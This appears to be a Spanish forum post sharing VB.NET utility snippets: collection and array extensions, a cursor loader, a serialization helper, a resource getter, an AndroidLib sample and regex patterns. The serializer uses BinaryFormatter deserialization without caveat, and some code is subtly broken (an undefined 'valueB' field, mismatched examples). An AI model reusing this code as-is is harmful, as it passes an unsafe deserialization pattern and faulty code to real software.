''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' <see cref="IEnumerable(Of IEnumerable(Of T))"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<DebuggerHidden>
<Extension>
Public Function SplitIntoNumberOfElements(Of T)(ByVal sender As IEnumerable(Of T),
ByVal amount As Integer,
ByVal fillEmpty As Boolean,
Optional valueToFill As T = Nothing) As IEnumerable(Of IEnumerable(Of T))
Return (From count As Integer In Enumerable.Range(0, CInt(Math.Ceiling(sender.Count() / amount)))).
Select(Function(count)
Select Case fillEmpty
Case True
If (sender.Count - (count * amount)) >= amount Then
Return sender.Skip(count * amount).Take(amount)
Else
Return sender.Skip(count * amount).Take(amount).
Concat(Enumerable.Repeat(Of T)(
valueToFill,
amount - (sender.Count() - (count * amount))))
End If
Case Else
Return sender.Skip(count * amount).Take(amount)
End Select
End Function)
End Function
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Title : Randomize Collection.
''' Author: Elektro
''' Date : 08-March-2015
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim col As IEnumerable(Of Integer) = {1, 2, 3, 4, 5, 6, 7, 8, 9}
''' Debug.WriteLine(String.Join(", ", col.Randomize))
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Randomizes the elements of the source <see cref="IEnumerable(Of T)"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <typeparam name="T">
''' </typeparam>
'''
''' <param name="sender">
''' The source collection.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' <see cref="IEnumerable(Of T)"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<DebuggerHidden>
<Extension>
Public Function Randomize(Of T)(ByVal sender As IEnumerable(Of T)) As IEnumerable(Of T)
Dim rand As New Random
Return From item As T In sender
Order By rand.Next
End Function
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Title : Concatenate Multiple Collections.
''' Author: Elektro
''' Date : 08-March-2015
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim col1 As IEnumerable(Of Integer) = {1, 2, 3}
''' Dim col2 As IEnumerable(Of Integer) = {4, 5, 6}
''' Dim col3 As IEnumerable(Of Integer) = {7, 8, 9}
''' Debug.WriteLine(String.Join(", ", {col1, col2, col3}.ConcatMultiple))
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Concatenates multiple <see cref="IEnumerable(Of T)"/> at once into a single <see cref="IEnumerable(Of T)"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <typeparam name="T">
''' </typeparam>
'''
''' <param name="sender">
''' The source collections.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' <see cref="IEnumerable(Of T)"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<DebuggerHidden>
<Extension>
Public Function ConcatMultiple(Of T)(ByVal sender As IEnumerable(Of T)()) As IEnumerable(Of T)
Return sender.SelectMany(Function(col As IEnumerable(Of T)) col)
End Function
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Title : Join Multiple Collections Into Single String.
''' Author: Elektro
''' Date : 08-March-2015
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim col1 As IEnumerable(Of Integer) = {1, 2, 3}
''' Dim col2 As IEnumerable(Of Integer) = {4, 5, 6}
''' Dim col3 As IEnumerable(Of Integer) = {7, 8, 9}
''' Debug.WriteLine({col1, col2, col3}.StringJoin(", ")))
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Joins multiple <see cref="IEnumerable(Of T)"/> at once into a single string.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <typeparam name="T">
''' </typeparam>
'''
''' <param name="separator">
''' The string to use as a separator.
''' </param>
'''
''' <param name="sender">
''' The source collections.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' <see cref="String"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<DebuggerHidden>
<Extension>
Public Function StringJoin(Of T)(ByVal sender As IEnumerable(Of T)(),
ByVal separator As String) As String
Dim sb As New System.Text.StringBuilder
For Each col As IEnumerable(Of T) In sender
sb.Append(String.Join(separator, col) & separator)
Next col
Return sb.Remove(sb.Length - separator.Length, separator.Length).ToString
End Function
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Title : Count empty items of collection.
''' Author: Elektro
''' Date : 16-June-2015
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example>
''' Dim emptyItemCount As Integer = {"Hello", " ", "World!"}.CountEmptyItems
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Counts the empty items of the source <see cref="IEnumerable(Of T)"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="sender">
''' The source <see cref="IEnumerable(Of T)"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The total amount of empty items.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<DebuggerHidden>
<Extension>
Public Function CountEmptyItems(Of T)(ByVal sender As IEnumerable(Of T)) As Integer
Return (From item As T In sender
Where (item.Equals(Nothing))).Count
End Function
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Title : Count non-empty items of collection.
''' Author: Elektro
''' Date : 16-June-2015
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example>
''' Dim nonEmptyItemCount As Integer = {"Hello", " ", "World!"}.CountNonEmptyItems
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Counts the non-empty items of the source <see cref="IEnumerable(Of T)"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="sender">
''' The source <see cref="IEnumerable(Of T)"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The total amount of non-empty items.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<DebuggerHidden>
<Extension>
Public Function CountNonEmptyItems(Of T)(ByVal sender As IEnumerable(Of T)) As Integer
Return (sender.Count - IEnumerableExtensions.CountEmptyItems(sender))
End Function
End Module
#End Region
IEnumerable(Of String) Extensions, cómo su propio nombre indica, expone varias extensiones de método para utilizarlas con una colección de strings.
Las extensiones son las siguiente, si alguna no es lo suficientemente aclaratoria entonces pueden usar IntelliSense o el ObjectInspector para conocer el propósito de cada una:
IEnumerable(Of String).BubbleSort As IEnumerable(Of String)
IEnumerable(Of String).CountEmptyItems As Integer
IEnumerable(Of String).CountNonEmptyItems As Integer
IEnumerable(Of String).FindByContains(String, Boolean) As IEnumerable(Of String)
IEnumerable(Of String).FindByLike(String, Boolean) As IEnumerable(Of String)
IEnumerable(Of String).FindExact(String, StringComparison) As IEnumerable(Of String)
IEnumerable(Of String).RemoveByContains(String, Boolean) As IEnumerable(Of String)
IEnumerable(Of String).RemoveByLike(String, Boolean) As IEnumerable(Of String)
IEnumerable(Of String).RemoveExact(String, StringComparison) As IEnumerable(Of String)
Puse ejemplos de uso para cada extensión en la documentación XML del código fuente.
Source:
http://pastebin.com/6XfLcMj8
Array Extensions, cómo su propio nombre indica, expone extensiones de método para utilizarlas con Arays.
Aunque realmente, por el momento solo puse una extensión, pero de igual modo comparto el código para que puedan extender su funcionalidad o tomar la idea como base.
La extensión es la siguiente, sirve para redimensionar el tamaño del array de forma automatizada y más veloz que la habitual.
T().Resize As T()
Source:
' ***********************************************************************
' Author : Elektro
' Modified : 10-September-2015
' ***********************************************************************
' <copyright file="Array Extensions.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Public Members Summary "
#Region " Functions "
' T().Resize As T()
#End Region
#End Region
#Region " Option Statements "
Option Strict On
Option Explicit On
Option Infer Off
#End Region
#Region " Imports "
Imports System
Imports System.Diagnostics
Imports System.Runtime.CompilerServices
#End Region
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Contains custom extension methods to use with an <see cref="Array"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Module ArrayExtensions
#Region " Public Extension Methods "
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Title : Resize Array.
''' Author: Elektro
''' Date : 10-September-2015
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim myArray(50) As Integer
''' Console.WriteLine(String.Format("{0,-12}: {1}", "Initial Size", myArray.Length))
'''
''' myArray = myArray.Resize(myArray.Length - 51)
''' Console.WriteLine(String.Format("{0,-12}: {1}", "New Size", myArray.Length))
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Resizes the number of elements of the source <see cref="Array"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <typeparam name="T">
''' </typeparam>
'''
''' <param name="sender">
''' The source <see cref="Array"/>.
''' </param>
'''
''' <param name="newSize">
''' The new size.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resized <see cref="Array"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="System.ArgumentOutOfRangeException">
''' newSize;Non-negative number required
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<DebuggerHidden>
<Extension>
Public Function Resize(Of T)(ByVal sender As T(),
ByVal newSize As Integer) As T()
If (newSize <= 0) Then
Throw New System.ArgumentOutOfRangeException(paramName:="newSize", message:="Value greater than 0 is required.")
End If
Dim preserveLength As Integer = Math.Min(sender.Length, newSize)
If (preserveLength > 0) Then
Dim newArray As Array = Array.CreateInstance(sender.GetType.GetElementType, newSize)
Array.Copy(sender, newArray, preserveLength)
Return DirectCast(newArray, T())
Else
Return sender
End If
End Function
#End Region
End Module
CursorUtil.vb, es una class que por el momento sirve cómo un simple wrapper de la función LoadCursorFromFile de la WinAPI, la cual nos permite evadir las limitaciones de un WindowsForms para poder cargar y utilizar un cursor que no sea blanco y negro.
Source:
' ***********************************************************************
' Author : Elektro
' Modified : 08-September-2015
' ***********************************************************************
' <copyright file="CursorUtil.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Imports "
Imports System
Imports System.ComponentModel
Imports System.Diagnostics
Imports System.IO
Imports System.Linq
Imports System.Runtime.InteropServices
Imports System.Windows.Forms
#End Region
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Contains related cursor utilities.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public NotInheritable Class CursorUtil
#Region " P/Invoking "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Platform Invocation methods (P/Invoke), access unmanaged code.
''' This class does not suppress stack walks for unmanaged code permission.
''' <see cref="System.Security.SuppressUnmanagedCodeSecurityAttribute"/> must not be applied to this class.
''' This class is for methods that can be used anywhere because a stack walk will be performed.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' MSDN Documentation: <see href="http://msdn.microsoft.com/en-us/library/ms182161.aspx"/>
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
Private NotInheritable Class NativeMethods
#Region " Functions "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Creates a cursor based on data contained in a file.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="filepath">
''' The source of the file data to be used to create the cursor.
''' The data in the file must be in either .CUR or .ANI format.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' If the function is successful, the return value is an <see cref="IntPtr"/> to the new cursor.
''' If the function fails, the return value is <see cref="IntPtr.Zero"/>.
''' To get extended error information, call <see cref="Marshal.GetLastWin32Error"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' MSDN Documentation: <see href="https://msdn.microsoft.com/en-us/library/windows/desktop/ms648392%28v=vs.85%29.aspx"/>
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
<DllImport("User32.dll", CharSet:=CharSet.Ansi, BestFitMapping:=False, ThrowOnUnmappableChar:=True, SetLastError:=True)>
Friend Shared Function LoadCursorFromFile(
ByVal filepath As String
) As IntPtr
End Function
#End Region
End Class
#End Region
#Region " Constructors "
''' <summary>
''' Prevents a default instance of the <see cref="CursorUtil"/> class from being created.
''' </summary>
Private Sub New()
End Sub
#End Region
#Region " Public Methods "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Creates a cursor based on data contained in a managed .Net resource.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="resource">
''' The raw resource data.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' <see cref="System.Windows.Forms.Cursor"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="Exception">
''' </exception>
'''
''' <exception cref="Win32Exception">
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<DebuggerHidden>
Public Shared Function LoadCursorFromResource(ByVal resource As Byte(),
Optional cleanTempFile As Boolean = False) As Cursor
Dim tmpFilepath As String = Path.GetTempFileName
Try
Using fs As New FileStream(tmpFilepath, FileMode.Create, FileAccess.Write, FileShare.Read)
fs.Write(resource, 0, resource.Length)
End Using
Dim result As IntPtr = NativeMethods.LoadCursorFromFile(tmpFilepath)
Dim win32Err As Integer = Marshal.GetLastWin32Error
If (result = IntPtr.Zero) Then
Throw New Win32Exception([error]:=win32Err)
Else
Return New Cursor(result)
End If
Catch ex As Exception
Throw
Finally
If (cleanTempFile) AndAlso (File.Exists(tmpFilepath)) Then
File.Delete(tmpFilepath)
End If
End Try
End Function
#End Region
End Class
SerializationUtil.vb, es una class para serializar y deserializar datos en binario o Xml de forma (más)sencilla y haciendo uso de Generics.
' ***********************************************************************
' Author : Elektro
' Modified : 05-September-2015
' ***********************************************************************
' <copyright file="SerializationUtil.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Imports "
Imports System
Imports System.Data
Imports System.IO
Imports System.Linq
Imports System.Runtime.Serialization.Formatters.Binary
Imports System.Xml.Serialization
#End Region
''' <summary>
''' Contains related serialization utilities.
''' </summary>
Public NotInheritable Class SerializationUtil
#Region " Constructors "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Prevents a default instance of the <see cref="SerializationUtil"/> class from being created.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Private Sub New()
End Sub
#End Region
#Region " Private Methods "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the proper data serializer.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <typeparam name="T">
''' </typeparam>
'''
''' <param name="format">
''' The serialization format.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="System.ArgumentException">
''' Wrong Serialization Format.
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<DebuggerHidden>
Private Shared Function GetSerializer(Of T)(ByVal format As SerializationFormat) As Object
Select Case format
Case SerializationFormat.Binary
Return New BinaryFormatter
Case SerializationFormat.Xml
Return New XmlSerializer(type:=GetType(T))
Case Else
Throw New ArgumentException(message:="Wrong Serialization Format.", paramName:="serializationFormat")
End Select
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the proper data serializer.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <typeparam name="T">
''' </typeparam>
'''
''' <param name="obj">
''' The object to check.
''' </param>
'''
''' <param name="format">
''' The serialization format.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<DebuggerHidden>
Private Shared Function GetSerializer(Of T)(ByVal obj As T,
ByVal format As SerializationFormat) As Object
Select format
Case SerializationFormat.Binary
Return New BinaryFormatter()
Case SerializationFormat.Xml
Return New XmlSerializer(obj.GetType)
Case Else
Throw New ArgumentException(message:="Wrong Serialization Format.", paramName:="serializationFormat")
End Select
End Function
#End Region
#Region " Public Methods "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Serializes the data of an Object to the specified file, using the specified serialization format.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <typeparam name="T">
''' </typeparam>
'''
''' <param name="obj">
''' The object to be serialized.
''' </param>
'''
''' <param name="filepath">
''' The filepath where to save the serialized data.
''' </param>
'''
''' <param name="format">
''' The serialization format.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<DebuggerHidden>
Public Shared Sub Serialize(Of T)(ByVal obj As T,
ByVal filepath As String,
ByVal format As SerializationFormat)
Dim serializer As Object = SerializationUtil.GetSerializer(obj, format)
Using fs As New FileStream(filepath, FileMode.Create, FileAccess.Write, FileShare.Read)
Select Case serializer.GetType
Case GetType(BinaryFormatter)
DirectCast(serializer, BinaryFormatter).Serialize(fs, obj)
Case GetType(XmlSerializer)
DirectCast(serializer, XmlSerializer).Serialize(fs, obj)
End Select
End Using
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Deserializes the data of an Object from the specified file, using the specified deserialization format.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <typeparam name="T">
''' </typeparam>
'''
''' <param name="filepath">
''' The filepath where from deserialize the serialized data.
''' </param>
'''
''' <param name="format">
''' The serialization format.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<DebuggerHidden>
Public Shared Function Deserialize(Of T)(ByVal filepath As String,
ByVal format As SerializationFormat) As T
Dim serializer As Object = SerializationUtil.GetSerializer(Of T)(format)
Using fs As New FileStream(filepath, FileMode.Open, FileAccess.Read, FileShare.Read)
Select Case serializer.GetType
Case GetType(BinaryFormatter)
Return DirectCast(DirectCast(serializer, BinaryFormatter).Deserialize(fs), T)
Case GetType(XmlSerializer)
Return DirectCast(DirectCast(serializer, XmlSerializer).Deserialize(fs), T)
End Select
End Using
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Deserializes the data of an Object from the specified file, using the specified deserialization format.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <typeparam name="T">
''' </typeparam>
'''
''' <param name="filepath">
''' The filepath where from deserialize the serialized data.
''' </param>
'''
''' <param name="format">
''' The serialization format.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
<DebuggerHidden>
Public Shared Sub Deserialize(Of T)(ByRef refObj As T,
ByVal filepath As String,
ByVal format As SerializationFormat)
refObj = SerializationUtil.Deserialize(Of T)(filepath, format)
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Determines whether the specified <see cref="Type"/> can be serialized.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <typeparam name="T">
''' The <see cref="Type"/> to check.
''' </typeparam>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' <c>True</c> if the specified <see cref="Type"/> can be serialized; otherwise, <c>False</c>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Public Shared Function IsTypeSerializable(Of T)() As Boolean
Return Attribute.IsDefined(GetType(T), GetType(SerializableAttribute))
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Determines whether the specified <see cref="Type"/> can be serialized.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <typeparam name="T">
''' </typeparam>
'''
''' <param name="type">
''' The <see cref="Type"/> to check.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' <c>True</c> if the specified <see cref="Type"/> can be serialized; otherwise, <c>False</c>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Public Shared Function IsTypeSerializable(Of T)(ByVal type As T) As Boolean
Return SerializationUtil.IsTypeSerializable(Of T)()
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Determines whether the specified object can be serialized.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <typeparam name="T">
''' </typeparam>
'''
''' <param name="obj">
''' The object to check.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' <c>True</c> if the specified object can be serialized; otherwise, <c>False</c>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Public Shared Function IsObjectSerializable(Of T)(ByVal obj As T,
ByVal format As SerializationFormat) As Boolean
Dim serializer As Object = SerializationUtil.GetSerializer(obj, format)
Using fs As New MemoryStream
Try
Select Case serializer.GetType
Case GetType(BinaryFormatter)
DirectCast(serializer, BinaryFormatter).Serialize(fs, obj)
Case GetType(XmlSerializer)
DirectCast(serializer, XmlSerializer).Serialize(fs, obj)
End Select
Return True
Catch ex As InvalidOperationException
Return False
Catch ex As Exception
Throw
End Try
End Using
End Function
#End Region
End Class
ResourceUtil.vb, es el comienzo de una class para administrar los recursos de la aplicación actual, aunque por el momento solo tiene un método genérico GetResources(Of T) que cómo su nombre nidica, obtiene los recursos del tipo especificado.
Para un código mucho más completo y extenso que sirve para administrar un archivo de recurso de .Net (resource.ResX) vease este otro aporte:
➢ ResXManager.vb (http://foro.elhacker.net/net/libreria_de_snippets_para_vbnet_compartan_aqui_sus_snippets-t378770.0.html;msg2018565#msg2018565)
Source:
' ***********************************************************************
' Author : Elektro
' Modified : 16-June-2015
' ***********************************************************************
' <copyright file="ResourceUtil.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Public Members Summary "
#Region " Functions "
' ResourceUtil.GetResources(OF T)
#End Region
#End Region
#Region " Option Statements "
Option Strict On
Option Explicit On
Option Infer Off
#End Region
#Region " Imports "
Imports System
Imports System.Globalization
#End Region
''' <summary>
''' Contains related application's managed resource utilities.
''' </summary>
Public NotInheritable Class ResourceUtil
#Region " Constructors "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Prevents a default instance of the <see cref="ResourceUtil"/> class from being created.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Private Sub New()
End Sub
#End Region
#Region " Public Methods "
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Title : Get Application Resources Of Type...
''' Author: Elektro
''' Date : 16-June-2015
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example> Get all String resources.
''' <code>
''' Dim resources As IEnumerable(Of DictionaryEntry) = GetResources(Of Bitmap)()
'''
''' For Each resource As DictionaryEntry In resources
'''
''' MsgBox(resource.Key) ' Resource Name
''' MsgBox(resource.Value.ToString) ' Resource Data
'''
''' Next resource
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the application resources of the specified type.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <typeparam name="T">
''' The type of the resource to find.
''' </typeparam>
'''
''' <param name="culture">
''' The resource culture
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' <see cref="IEnumerable(Of DictionaryEntry)"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function GetResources(Of T)(Optional ByVal culture As CultureInfo = Nothing) As IEnumerable(Of DictionaryEntry)
Return From resource As DictionaryEntry
In My.Resources.ResourceManager.
GetResourceSet(If(culture Is Nothing,
CultureInfo.CurrentCulture,
culture), createIfNotExists:=True, tryParents:=True).Cast(Of DictionaryEntry)()
Where TypeOf resource.Value Is T
End Function
#End Region
End Class
Un simple ejemplo de uso de la librería AndroidLib para .Net
https://github.com/regaw-leinad/AndroidLib
Otros ejemplos oficiales:
https://github.com/regaw-leinad/AndroidLib-Samples-VB
Source:
Imports RegawMOD.Android
Public Class Form1
Dim android As AndroidController
Dim device As Device
Dim serial As String
Private Sub Test() Handles MyBase.Shown
' Usually, you want to load this at startup, may take up to 5 seconds to initialize/set up resources/start server.
Me.android = AndroidController.Instance
Using Me.android
' Always call UpdateDeviceList() before using AndroidController on devices, to get the most updated list.
Me.android.UpdateDeviceList()
If Me.android.HasConnectedDevices Then
Me.serial = android.ConnectedDevices(0)
Me.device = android.GetConnectedDevice(serial)
device.BuildProp.Keys.
ForEach(Sub(propertyName As String)
Console.WriteLine(String.Format("{0}: {1}",
propertyName,
device.BuildProp.GetProp(propertyName)))
End Sub)
End If
End Using
End Sub
End Class
RegExUtil.vb, es una class que expone funcionalidades relacionadas con las expresiones regulares, cómo validar una expresión u obtener (solamente) las posiciones de las coincidencias encontradas.
También expone algunas expresiones esándar y no tan estándar (la mayoría las tomé prestadas del aporte del compañero WHK aquí: http://foro.elhacker.net/programacion_general/hilo_oficial_solicitudes_de_expresiones_regulares-t434833.0.html )
Source:
' ***********************************************************************
' Author : Elektro
' Modified : 07-July-2015
' ***********************************************************************
' <copyright file="RegExUtil.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Public Members Summary "
#Region " Functions "
' RegExUtil.GetMatchesPositions(Regex, String, Integer) As IEnumerable(Of RegExUtil.MatchPosition)
' RegExUtil.Validate(String, Boolean) As Boolean
#End Region
#Region " Constants "
' RegExUtil.Patterns.CreditCard As String
' RegExUtil.Patterns.EMail As String
' RegExUtil.Patterns.HtmlTag As String
' RegExUtil.Patterns.Ipv4 As String
' RegExUtil.Patterns.Ipv6 As String
' RegExUtil.Patterns.SafeText As String
' RegExUtil.Patterns.Url As String
' RegExUtil.Patterns.USphone As String
' RegExUtil.Patterns.USssn As String
' RegExUtil.Patterns.USstate As String
' RegExUtil.Patterns.USzip As String
#End Region
#Region " Types "
' RegExUtil.MatchPosition
#End Region
#Region " Child Classes "
' RegExUtil.Patterns
#End Region
#End Region
#Region " Option Statements "
Option Strict On
Option Explicit On
Option Infer Off
#End Region
#Region " Imports "
Imports System
Imports System.Collections.Generic
Imports System.Linq
Imports System.Text.RegularExpressions
#End Region
#Region " RegEx Util "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Contains related RegEx utilities.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public NotInheritable Class RegExUtil
#Region " Types "
#Region " MatchPosition "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Encapsulates a text value captured by a RegEx, with its start/end index.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<Serializable>
Public NotInheritable Class MatchPosition
#Region " Properties "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the text value.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The text value.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public ReadOnly Property Text As String
Get
Return Me.textB
End Get
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' ( Backing Field )
''' The text value.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Private ReadOnly textB As String
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the start index.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The start index.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public ReadOnly Property StartIndex As Integer
Get
Return Me.startIndexB
End Get
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' ( Backing Field )
''' The start index.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Private ReadOnly startIndexB As Integer
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the end index.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The end index.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public ReadOnly Property EndIndex As Integer
Get
Return Me.endIndexB
End Get
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' ( Backing Field )
''' The end index.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Private ReadOnly endIndexB As Integer
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the text length.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>The text length.</value>
''' ----------------------------------------------------------------------------------------------------
Public ReadOnly Property Length As Integer
Get
Return Me.valueB.Length
End Get
End Property
#End Region
#Region " Constructors "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Prevents a default instance of the <see cref="MatchPosition"/> class from being created.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Private Sub New()
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="MatchPosition"/> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="text">
''' The rtext value.
''' </param>
'''
''' <param name="startIndex">
''' The start index.
''' </param>
''' ----------------------------------------------------------------------------------------------------
Public Sub New(ByVal text As String,
ByVal startIndex As Integer)
Me.textB = text
Me.startIndexB = startIndex
Me.endIndexB = (startIndex + text.Length)
End Sub
#End Region
End Class
#End Region
#End Region
#Region " Child Classes "
#Region " Patterns "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' A class that exposes common RegEx patterns.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public NotInheritable Class Patterns
#Region " Constants "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' A pattern that matches an URL.
'''
''' For Example:
''' http://url
''' ftp://url
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Const Url As String =
"^((((https?|ftps?|gopher|telnet|nntp)://)|(mailto:|news:))(%[0-9A-Fa-f]{2}|[-()_.!~*';/?:@&=+$,A-Za-z0-9])+)([).!';/?:,][[:blank:]])?$"
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' A pattern that matches the content of an Html enclosed tag.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Const HtmlTag As String =
">([^<]+?)<"
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' A pattern that matches an IPv4 address.
'''
''' For Example:
''' 127.0.0.1
''' </summary>
''' ----------------------------------------------------------------------------------------------------
